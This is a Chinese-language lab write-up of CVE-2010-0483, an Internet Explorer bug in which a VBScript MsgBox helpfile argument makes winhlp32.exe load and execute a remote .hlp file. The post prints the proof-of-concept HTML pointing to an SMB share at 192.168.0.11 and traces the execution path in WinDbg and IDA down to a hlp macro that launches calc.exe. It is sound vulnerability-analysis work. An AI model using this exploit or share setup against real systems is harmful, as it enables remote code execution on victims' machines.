標籤:attach man remote 檔案內容 sop 一個 generate close mic
相關資料:https://www.exploit-db.com/exploits/11615/
目的是為了瞭解漏洞執行的流程。
根據資料準備服務端環境:
用一台win7當做是伺服器,需要在win7上共用一個檔案夾用於用戶端訪問。我的測試環境共用的檔案夾是www。
(1)啟用Guest來賓賬戶,共用資料夾時將Guest添加讀許可權。此時在win7本機上應能訪問,但在區域網路的XP虛擬機器無法訪問 \\192.168.0.11\www\
(2)運行 secpol.msc 開啟本地安全性原則->本地策略->使用者權限分配->拒絕從網路訪問此電腦->去掉Guest 此時XP虛擬機器可以訪問共用檔案
(3)在www目錄放置test.hlp檔案和html檔案提供給用戶端訪問
html檔案內容大致如下
<html><body><script type="text/vbscript">big = "\\192.168.0.11\www\test.hlp" //For i=1 to 2500// big = big & "\..\"//NextMsgBox "please press F1 to save the world", ,"please save the world",big, 1MsgBox "press F1 to close this annoying popup", ,"", big, 1MsgBox "press F1 to close this annoying popup", ,"", big, 1</script></body></html>
搜尋vbscript MsgBox相關資料
MsgBox(prompt[,buttons][,title][,helpfile,context])
參數helpfile可以指定對話方塊提供即時線上說明的協助檔案,那麼就是按下F1時,訪問了遠程指定的hlp檔案
先大致看一眼hlp檔案內容,發現了調用了calc.exe
2、用戶端測試
開啟IE,並用windbg attach進程,然後訪問html頁面並在彈出MsgBox時,按下F1出來下面的情況:
根據現象,似乎建立了一個新進程,可以通過ProcessHacker工具的Log查看,或者直接觀察工作管理員,進一步確認後,給CreateProcess下斷定位漏洞流程。
bp kernel32!CreateProcessW
按下F1,斷下後查看函數參數,執行了"C:\WINDOWS\winhlp32 -x",建立winhlp32.exe。 但卻沒有發現和"\\192.168.0.11\www\test.hlp"相關的資訊
再查看函數呼叫堆疊
觀察WinHelpA、FindWinHelpWindow、LaunchHelp這重要函數。
根據IDA的分析 BOOL __stdcall WinHelpA(HWND hWndMain, LPCSTR lpszHelp, UINT uCommand, ULONG_PTR dwData)
先給WinHelpA下斷
bp USER32!WinHelpA 運行後,重新按F1後斷下根據棧上的參數確認了lpszHelp變數指向了"\\192.168.0.11\www\test.hlp"
IDA中F5反組譯碼USER32!WinHelpA 函數跟蹤lpszHelp變數,發現只有HFill 函數操作了這個變數。跟進HFill函數分析。
HFill函數分配記憶體,複製lpszHelp到該記憶體的位移0x10處。
__stdcall HFill(LPCSTR lpszHelp, USHORT uCommand, ULONG_PTR dwData){ if(lpszHelp != 0) { int len = strlen(lpszHelp) + 1;//ebx int s1 = 0;//esi; if(dwData != NULL) { loc_77D4762E BYTE tmp = (arg_4>>8&)0xFF; if(tmp != 1) { if(tmp == 2)s1 = *arg_8; }else{ loc_77D47643 } LPBYTE p = LocalAlloc(0x40,s1 + len + 0x10 );//分配記憶體 if(p != NULL) { *(WORD *)(p+2) = uCommand; *(WORD *)p = 0; *(DWORD *)(p+8) = 0; if(lpszHelp != NULL) { *(WORD *)(p+0xC) = 0x10; strcpy((p+0x10),lpszHelp);//複製lpszHelp到分配的記憶體位移0x10處 }else{ *(WORD *)(p+0xC) = 0; } if(tmp!= 1 && s1 != 0) { loc_77D47682 }else if(tmp == 2 && s1 != 0){ loc_77D4765E }else{ *(DWORD *)(p+4) = dwData; } loc_77D3EE2F *(WORD *)(p+0xE) = dx; return p;//返回了分配的地址 }else{ loc_77D47657 } } }else{ loc_77D3EE3A }}
在WinHelpA函數剩下的流程中,FindWinHelpWindow 根據上面的呼叫堆疊知道該函數建立了winhlp32進程,並返回了視窗控制代碼。
SendWinHelpMessage發送訊息碼為0x38的訊息並將HFill函數分配的記憶體作為lParam。
為了調試新建立的進程執行 .childdbg 1命令進行子進程調試,運行斷下後
根據左下角的1表示斷在了新進程中。
因為SendMessage發送的不是隊列訊息,所以要找到視窗的訊息回呼函數。一般訊息回呼函數都會調用預設的處理函數DefWindowProc
IDA分析winhlp32.exe,並在匯入表中定位預設訊息回呼函數DefWindowProc,ctrl+x交叉引用找到引用的位置 。定位到了比較有可能是訊息回呼函數的HelpWndProc
到達HelpWndProc後,繼續F5反組譯碼定位到了這段代碼
經確認訊息碼確實是0x38。下斷bp winhlp32!HelpWndProc ".if(poi(esp+8) != 0x38){g}" ,斷下後跟進DispatcherProc
用pct命令對實際執行的函數,跳過不重要的函數,定位到了調用_GenerateMessage(0x407u, 0, (LPARAM)v24); 該函數發送了訊息碼0x407,參數v24包含hlp路徑
重新查看HelpWndProc對0x407的處理,定位到
因為hlp檔案會建立計算機進程,再對CreateProcessW下斷,定位流程,斷下後查看函數呼叫堆疊
ShellExecuteA這個的功能是運行一個外部程式。猜測應該是開啟了計算機,重新下斷調試進行確認
winhlp32進程建立後, bp SHELL32!ShellExecuteA
那就表示此時已經在執行hlp檔案的內容了,再定位winhlp32!Execute下斷查看參數
根據IDA的分析 ; int __stdcall Execute(LPCSTR lpString2) 發現參數lpString2為hlp檔案的內容 "EF("C:\\WINDOWS\\calc.exe",`‘,1) "。
再定位上層函數ConfigMacrosHde 用IDA進行反組譯碼
可以看出ConfigMacrosHde函數的作用就是迴圈讀取hlp的內容並由Execute函數負責執行。
繼續定位上層函數 FReplaceCloneHde,重新調試,建立winhlp32.exe進行進程時 ,對FReplaceCloneHde下斷
bp winhlp32!FReplaceCloneHde
F5對上層函數ExecAPI 反組譯碼 可以知道FReplaceCloneHde 參數1是一個字串指標,參數2是指向help檔案路徑字串指標的指標
F5對FReplaceCloneHde進行反組譯碼,ConfigMacrosHde的資料來自v38,而v38來自於HCreate ,v5就是參數2 ppHelp指向hlp檔案的指標的指標
開啟檔案的流程是HdeCreate->sub_1019C49 ->HfsOpenFm->FPlungeQfshr->FidOpenFm->kernel32!_lopen
最後去掉共用,禁用Guest,恢複之前的準備工作。
CVE-2010-0483分析 Microsoft Internet Explorer 6/7/8 - 'winhlp32.exe' 'MsgBox()' Remote Code Execution